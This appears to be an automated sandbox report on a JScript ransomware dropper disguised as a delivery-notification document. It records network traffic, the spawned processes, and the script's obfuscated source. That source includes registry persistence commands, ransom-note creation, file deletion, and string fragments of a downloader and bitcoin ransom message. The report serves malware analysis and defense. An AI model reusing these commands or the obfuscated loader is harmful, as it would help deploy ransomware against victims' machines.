Nov 20, 2024 08:15:29.459057093 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:15:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: _subid=1ccvtc11gv2q0d; expires=Mon, 25-Nov-2024 07:15:29 GMT; Max-Age=432000; path=/; domain=.radostdetym.ru Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rc8nDOfQomiQSnm934UbzYPHF8F5u4oF4nsESKi6V9k%2BB3uog4PivZxLL6c8NY%2B2VSup8nrsp1fETA13oHsVwbN3xQg9royq8Pqzb5KTBg0j%2FKwMXN5oXtsArBlL20ApBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a62818884407-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2096&sent=44&recv=21&lost=0&retrans=0&sent_bytes=33990&recv_bytes=6866&delivery_rate=4101123&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 32 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5c fd 6e 1b 57 76 ff db 06 fc 0e d7 0c 8c 58 5b 7e eb c3 12 23 09 c9 a6 bb 68 d0 2c 36 d8 4d 5a a4 45 21 8c c8 21 39 f1 90 33 3b 33 b2 a4 0d 02 48 94 9d d8 90 6c 65 bd 69 53 a4 9b 38 d9 b6 28 fa c7 02 34 2d 5a 34 25 51 af 70 ef 2b e4 05 ea 47 28 ce 39 f7 ce dc 19 0e 29 39 dd b4 35 12 5b 9c b9 9f e7 e3 77 7e e7 dc 4b 5d bb ba 7c fd 2f 7f f9 f6 fb 1f be f7 33 d6 0c 5a f6 ea b5 ab cb f0 2f b3 8d 76 63 25 e3 6d e4 7e f5 41 86 b9 9e 59 b7 b6 56 32 4e a3 c2 9a 41 e0 fa 95 42 c1 69 b8 f9 96 59 68 fb af 65 98 15 98 2d bf ea b8 26 fe 14 6c bb e6 4a 06 da 55 0a 05 bf da 34 5b 46 de f1 1a 85 bf 35 d7 df 33 1a 66 06 e7 30 8d da ea b5 ab 8c 31 b6 dc 32 03 83 55 9b 86 e7 9b c1 4a e6 83 f7 7f 9e 5b cc c4 de b5 8d 96 b9 92 b9 63 99 9b ae e3 05 19 56 75 da 81 d9 0e 56 32 9b 56 2d 68 ae d4 cc 3b 56 d5 cc e1 87 2c b3 da 56 60 19 76 ce af 1a b6 Data Ascii: 1623\nWvX[~#h,6MZE!!93;3HleiS8(4-Z4%Qp+G(9)95[w~K]\|/3Z/vc%m~AYV2NABiYhe-&lJU4[F53f012UJ[cVuV2V-h;V,V`v

Target ID:	1
Start time:	02:15:06
Start date:	20/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js"
Imagebase:	0x7ff7e5c30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"
Imagebase:	0x7ff746650000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"
Imagebase:	0x7ff746650000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\Desktop\DECRYPT.txt"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user~1\AppData\Local\Temp\a.exe "C:\Users\user~1\AppData\Local\Temp\a.php"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:51:52
Start date:	20/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""
Imagebase:	0x7ff746650000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:51:57
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	03:51:57
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	03:51:57
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.php"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:51:57
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:51:57
Start date:	20/11/2024
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"
Imagebase:	0x7ff711430000
File size:	201'216 bytes
MD5 hash:	27F71B12CB585541885A31BE22F61C83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	03:51:57
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.exe"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:51:57
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:51:58
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\php4ts.dll"
Imagebase:	0x7ff75b470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:51:58
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:52:02
Start date:	20/11/2024
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\NOTEPAD.EXE" C:\Users\user~1\AppData\Local\Temp\a.txt
Imagebase:	0x7ff711430000
File size:	201'216 bytes
MD5 hash:	27F71B12CB585541885A31BE22F61C83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	03:52:10
Start date:	20/11/2024
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\NOTEPAD.EXE" C:\Users\user~1\AppData\Local\Temp\a.txt
Imagebase:	0x7ff711430000
File size:	201'216 bytes
MD5 hash:	27F71B12CB585541885A31BE22F61C83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function u18(a95, f24) {	u18(10,"var cq") ➔ undefined u18(341,"ant pe") ➔ undefined u18(100,"r ") ➔ undefined u18(400,""")") ➔ undefined u18(479,"BT") ➔ undefined u18(84,"pd=w") ➔ undefined u18(613,"help") ➔ undefined u18(327,"eLin") ➔ undefined u18(552,"ine("") ➔ undefined u18(930,"}; };") ➔ undefined
1	x26[a95] = f24;
2	}
3	;
4	var x26 = new Array ( );
5	u18 ( 10, 'var cq' );	u18(10,"var cq") ➔ undefined
6	u18 ( 341, 'ant pe' );	u18(341,"ant pe") ➔ undefined
7	u18 ( 100, 'r ' );	u18(100,"r ") ➔ undefined
8	u18 ( 400, '"")' );	u18(400,""")") ➔ undefined
9	u18 ( 479, 'BT' );	u18(479,"BT") ➔ undefined
10	u18 ( 84, 'pd=w' );	u18(84,"pd=w") ➔ undefined
11	u18 ( 613, 'help' );	u18(613,"help") ➔ undefined
12	u18 ( 327, 'eLin' );	u18(327,"eLin") ➔ undefined
13	u18 ( 552, 'ine("' );	u18(552,"ine("") ➔ undefined
14	u18 ( 930, '}; };' );	u18(930,"}; };") ➔ undefined
15	u18 ( 54, ']; va' );	u18(54,"]; va") ➔ undefined
16	u18 ( 519, 'r to d' );	u18(519,"r to d") ➔ undefined
17	u18 ( 719, '"+' );	u18(719,""+") ➔ undefined
18	u18 ( 704, 'ows"+' );	u18(704,"ows"+") ➔ undefined
19	u18 ( 888, '00' );	u18(888,"00") ➔ undefined
20	u18 ( 239, '3){x' );	u18(239,"3){x") ➔ undefined
21	u18 ( 656, 'y ' );	u18(656,"y ") ➔ undefined
22	u18 ( 267, 'p",2)' );	u18(267,"p",2)") ➔ undefined
23	u18 ( 216, ' if(n' );	u18(216," if(n") ➔ undefined
24	u18 ( 48, 'com' );	u18(48,"com") ➔ undefined
25	u18 ( 491, '""); ' );	u18(491,"""); ") ➔ undefined
26	u18 ( 629, 'all' );	u18(629,"all") ➔ undefined
27	u18 ( 419, ' ' );	u18(419," ") ➔ undefined
28	u18 ( 347, 'te' );	u18(347,"te") ➔ undefined
29	u18 ( 81, '"a";' );	u18(81,""a";") ➔ undefined
30	u18 ( 901, 'EC%' );	u18(901,"EC%") ➔ undefined
31	u18 ( 598, ' LO' );	u18(598," LO") ➔ undefined
32	u18 ( 241, 'save' );	u18(241,"save") ➔ undefined
33	u18 ( 108, '"Msx' );	u18(108,""Msx") ➔ undefined
34	u18 ( 466, '"); fp' );	u18(466,""); fp") ➔ undefined
35	u18 ( 38, '"l' );	u18(38,""l") ➔ undefined
36	u18 ( 110, 'XML' );	u18(110,"XML") ➔ undefined
37	u18 ( 750, ' /D "+' );	u18(750," /D "+") ➔ undefined
38	u18 ( 489, 'ite' );	u18(489,"ite") ➔ undefined
39	u18 ( 277, ';};' );	u18(277,";};") ➔ undefined
40	u18 ( 77, 's("%T' );	u18(77,"s("%T") ➔ undefined
41	u18 ( 628, 'nst' );	u18(628,"nst") ➔ undefined
42	u18 ( 778, '+" /ve' );	u18(778,"+" /ve") ➔ undefined
43	u18 ( 477, '+bc+' );	u18(477,"+bc+") ➔ undefined
44	u18 ( 490, 'Line(' );	u18(490,"Line(") ➔ undefined
45	u18 ( 811, '%AppD' );	u18(811,"%AppD") ➔ undefined
46	u18 ( 902, ' /c DE' );	u18(902," /c DE") ➔ undefined
47	u18 ( 531, 'var i' );	u18(531,"var i") ➔ undefined
48	u18 ( 671, ' this' );	u18(671," this") ➔ undefined
49	u18 ( 167, 'open(' );	u18(167,"open(") ➔ undefined
50	u18 ( 735, 'EC%' );	u18(735,"EC%") ➔ undefined
51	u18 ( 317, 'TENTI' );	u18(317,"TENTI") ➔ undefined
52	u18 ( 93, 'P%")' );	u18(93,"P%")") ➔ undefined
53	u18 ( 929, '); ' );	u18(929,"); ") ➔ undefined
54	u18 ( 493, 'te' );	u18(493,"te") ➔ undefined
55	u18 ( 843, 'CRYPT' );	u18(843,"CRYPT") ➔ undefined
56	u18 ( 6, '="0.44' );	u18(6,"="0.44") ➔ undefined
57	u18 ( 673, 'ual on' );	u18(673,"ual on") ➔ undefined
58	u18 ( 170, '"http' );	u18(170,""http") ➔ undefined
59	u18 ( 390, 'e fo' );	u18(390,"e fo") ➔ undefined
60	u18 ( 24, 'od' );	u18(24,"od") ➔ undefined
61	u18 ( 330, ' doc' );	u18(330," doc") ➔ undefined
62	u18 ( 332, ', pho' );	u18(332,", pho") ➔ undefined
63	u18 ( 810, '+cq+"' );	u18(810,"+cq+"") ➔ undefined
64	u18 ( 82, ' va' );	u18(82," va") ➔ undefined
65	u18 ( 536, 'h;' );	u18(536,"h;") ➔ undefined
66	u18 ( 804, 'y "+cq' );	u18(804,"y "+cq") ➔ undefined
67	u18 ( 421, 'ps:' );	u18(421,"ps:") ➔ undefined
68	u18 ( 357, '4 alg' );	u18(357,"4 alg") ➔ undefined
69	u18 ( 150, ' n' );	u18(150," n") ➔ undefined
70	u18 ( 11, '=St' );	u18(11,"=St") ➔ undefined
71	u18 ( 369, '("To ' );	u18(369,"("To ") ➔ undefined
72	u18 ( 99, ' va' );	u18(99," va") ➔ undefined
73	u18 ( 768, 'pte' );	u18(768,"pte") ➔ undefined
74	u18 ( 313, ' fp.W' );	u18(313," fp.W") ➔ undefined
75	u18 ( 195, 'en' );	u18(195,"en") ➔ undefined
76	u18 ( 723, 'SZ ' );	u18(723,"SZ ") ➔ undefined
77	u18 ( 890, 'fp.Wri' );	u18(890,"fp.Wri") ➔ undefined
78	u18 ( 25, 'e(92)' );	u18(25,"e(92)") ➔ undefined
79	u18 ( 624, '`s ' );	u18(624,"`s ") ➔ undefined
80	u18 ( 659, 'ou mak' );	u18(659,"ou mak") ➔ undefined
81	u18 ( 548, '+ad);' );	u18(548,"+ad);") ➔ undefined
82	u18 ( 53, 'u"' );	u18(53,"u"") ➔ undefined
83	u18 ( 359, 'hm w' );	u18(359,"hm w") ➔ undefined
84	u18 ( 677, 'top (' );	u18(677,"top (") ➔ undefined
85	u18 ( 422, '//bl' );	u18(422,"//bl") ➔ undefined
86	u18 ( 706, '+"Curr' );	u18(706,"+"Curr") ➔ undefined
87	u18 ( 285, 'Fi' );	u18(285,"Fi") ➔ undefined
88	u18 ( 423, 'oc' );	u18(423,"oc") ➔ undefined
89	u18 ( 382, 'it' );	u18(382,"it") ➔ undefined
90	u18 ( 391, 'llow' );	u18(391,"llow") ➔ undefined
91	u18 ( 711, '+"Run' );	u18(711,"+"Run") ➔ undefined
92	u18 ( 508, 'ne' );	u18(508,"ne") ➔ undefined
93	u18 ( 254, 'ToFile' );	u18(254,"ToFile") ➔ undefined
94	u18 ( 903, 'L "+c' );	u18(903,"L "+c") ➔ undefined
95	u18 ( 910, '.Run(' );	u18(910,".Run(") ➔ undefined
96	u18 ( 596, ' Y' );	u18(596," Y") ➔ undefined
97	u18 ( 675, 'ur ' );	u18(675,"ur ") ➔ undefined
98	u18 ( 415, '(""); ' );	u18(415,"(""); ") ➔ undefined
99	u18 ( 185, ');' );	u18(185,");") ➔ undefined
100	u18 ( 380, 'BTC ' );	u18(380,"BTC ") ➔ undefined
101	u18 ( 291, ' fo' );	u18(291," fo") ➔ undefined
102	u18 ( 173, '+"/co' );	u18(173,"+"/co") ➔ undefined
103	u18 ( 860, '; ws.' );	u18(860,"; ws.") ➔ undefined
104	u18 ( 218, '){xa.s' );	u18(218,"){xa.s") ➔ undefined
105	u18 ( 824, 'COMSP' );	u18(824,"COMSP") ➔ undefined
106	u18 ( 284, 'fo.' );	u18(284,"fo.") ➔ undefined
107	u18 ( 334, ' da' );	u18(334," da") ➔ undefined
108	u18 ( 14, '.from' );	u18(14,".from") ➔ undefined
109	u18 ( 209, ' if(xa' );	u18(209," if(xa") ➔ undefined
110	u18 ( 183, '+n,' );	u18(183,"+n,") ➔ undefined
111	u18 ( 663, '; f' );	u18(663,"; f") ➔ undefined
112	u18 ( 231, '",1,' );	u18(231,"",1,") ➔ undefined
113	u18 ( 616, 'ept us' );	u18(616,"ept us") ➔ undefined
114	u18 ( 454, 'Write' );	u18(454,"Write") ➔ undefined
115	u18 ( 309, 'fn+".t' );	u18(309,"fn+".t") ➔ undefined
116	u18 ( 158, 'ng' );	u18(158,"ng") ➔ undefined
117	u18 ( 587, 'ine(' );	u18(587,"ine(") ➔ undefined
118	u18 ( 715, 'V "' );	u18(715,"V "") ➔ undefined
119	u18 ( 194, 'xa.op' );	u18(194,"xa.op") ➔ undefined
120	u18 ( 8, 'var ' );	u18(8,"var ") ➔ undefined
121	u18 ( 427, 'wall' );	u18(427,"wall") ➔ undefined
122	u18 ( 592, 'ot pa' );	u18(592,"ot pa") ➔ undefined
123	u18 ( 242, 'ToFi' );	u18(242,"ToFi") ➔ undefined
124	u18 ( 572, '(""); ' );	u18(572,"(""); ") ➔ undefined
125	u18 ( 666, '(" ' );	u18(666,"(" ") ➔ undefined
126	u18 ( 617, '."' );	u18(617,"."") ➔ undefined
127	u18 ( 319, '!")' );	u18(319,"!")") ➔ undefined
128	u18 ( 777, '+cq' );	u18(777,"+cq") ➔ undefined
129	u18 ( 105, 'Cr' );	u18(105,"Cr") ➔ undefined
130	u18 ( 139, ' if' );	u18(139," if") ➔ undefined
131	u18 ( 115, 'Script' );	u18(115,"Script") ➔ undefined
132	u18 ( 882, 'ue);' );	u18(882,"ue);") ➔ undefined
133	u18 ( 30, '--8' );	u18(30,"--8") ➔ undefined
134	u18 ( 909, '0); ws' );	u18(909,"0); ws") ➔ undefined
135	u18 ( 510, ' the' );	u18(510," the") ➔ undefined
136	u18 ( 850, 'SP' );	u18(850,"SP") ➔ undefined
137	u18 ( 799, 'MSPE' );	u18(799,"MSPE") ➔ undefined
138	u18 ( 80, '")+cs+' );	u18(80,"")+cs+") ➔ undefined
139	u18 ( 523, 'yptor:' );	u18(523,"yptor:") ➔ undefined
140	u18 ( 363, 'que ' );	u18(363,"que ") ➔ undefined
141	u18 ( 870, '".t' );	u18(870,"".t") ➔ undefined
142	u18 ( 339, 'r imp' );	u18(339,"r imp") ➔ undefined
143	u18 ( 273, ' if(d' );	u18(273," if(d") ➔ undefined
144	u18 ( 450, 'eLine(' );	u18(450,"eLine(") ➔ undefined
145	u18 ( 733, 'un("%C' );	u18(733,"un("%C") ➔ undefined
146	u18 ( 880, 'n+".p' );	u18(880,"n+".p") ➔ undefined
147	u18 ( 558, 'ine("5' );	u18(558,"ine("5") ➔ undefined
148	u18 ( 481, ' t' );	u18(481," t") ➔ undefined
149	u18 ( 924, '/c D' );	u18(924,"/c D") ➔ undefined
150	u18 ( 738, ' "+c' );	u18(738," "+c") ➔ undefined
151	u18 ( 434, 'Write' );	u18(434,"Write") ➔ undefined
152	u18 ( 668, 'ou ' );	u18(668,"ou ") ➔ undefined
153	u18 ( 184, ' false' );	u18(184," false") ➔ undefined
154	u18 ( 891, 'te' );	u18(891,"te") ➔ undefined
155	u18 ( 807, 't"+' );	u18(807,"t"+") ➔ undefined
156	u18 ( 70, 'xpandE' );	u18(70,"xpandE") ➔ undefined
157	u18 ( 395, 'al:")' );	u18(395,"al:")") ➔ undefined
158	u18 ( 573, 'fp' );	u18(573,"fp") ➔ undefined
159	u18 ( 529, '); for' );	u18(529,"); for") ➔ undefined
160	u18 ( 773, 'pen' );	u18(773,"pen") ➔ undefined
161	u18 ( 562, 'r to' );	u18(562,"r to") ➔ undefined
162	u18 ( 923, 'PEC% ' );	u18(923,"PEC% ") ➔ undefined
163	u18 ( 877, 'teTex' );	u18(877,"teTex") ➔ undefined
164	u18 ( 724, '/F' );	u18(724,"/F") ➔ undefined
165	u18 ( 798, '"%CO' );	u18(798,""%CO") ➔ undefined
166	u18 ( 545, '+"/co' );	u18(545,"+"/co") ➔ undefined
167	u18 ( 525, ' fp.' );	u18(525," fp.") ➔ undefined
168	u18 ( 654, 'pted ' );	u18(654,"pted ") ➔ undefined
169	u18 ( 376, ' have ' );	u18(376," have ") ➔ undefined
170	u18 ( 212, '00' );	u18(212,"00") ➔ undefined
171	u18 ( 460, 'albitc' );	u18(460,"albitc") ➔ undefined
172	u18 ( 298, 'eEx' );	u18(298,"eEx") ➔ undefined
173	u18 ( 487, '); f' );	u18(487,"); f") ➔ undefined
174	u18 ( 318, 'ON' );	u18(318,"ON") ➔ undefined
175	u18 ( 472, 'ri' );	u18(472,"ri") ➔ undefined
176	u18 ( 224, 'xe",2' );	u18(224,"xe",2") ➔ undefined
177	u18 ( 47, 'asil.' );	u18(47,"asil.") ➔ undefined
178	u18 ( 914, ' DEL "' );	u18(914," DEL "") ➔ undefined
179	u18 ( 394, 'manu' );	u18(394,"manu") ➔ undefined
180	u18 ( 618, '); fp' );	u18(618,"); fp") ➔ undefined
181	u18 ( 321, 'fp.Wr' );	u18(321,"fp.Wr") ➔ undefined
182	u18 ( 83, 'r ' );	u18(83,"r ") ➔ undefined
183	u18 ( 649, 'les ' );	u18(649,"les ") ➔ undefined
184	u18 ( 159, 'th;' );	u18(159,"th;") ➔ undefined
185	u18 ( 482, 'his ' );	u18(482,"his ") ➔ undefined
186	u18 ( 678, 'DEC' );	u18(678,"DEC") ➔ undefined
187	u18 ( 408, 'tcoin ' );	u18(408,"tcoin ") ➔ undefined
188	u18 ( 775, 'comman' );	u18(775,"comman") ➔ undefined
189	u18 ( 340, 'ort' );	u18(340,"ort") ➔ undefined
190	u18 ( 67, ' v' );	u18(67," v") ➔ undefined
191	u18 ( 447, '); ' );	u18(447,"); ") ➔ undefined
192	u18 ( 429, 'ew"); ' );	u18(429,"ew"); ") ➔ undefined
193	u18 ( 652, 'de' );	u18(652,"de") ➔ undefined
194	u18 ( 272, '};' );	u18(272,"};") ➔ undefined
195	u18 ( 465, 'oins' );	u18(465,"oins") ➔ undefined
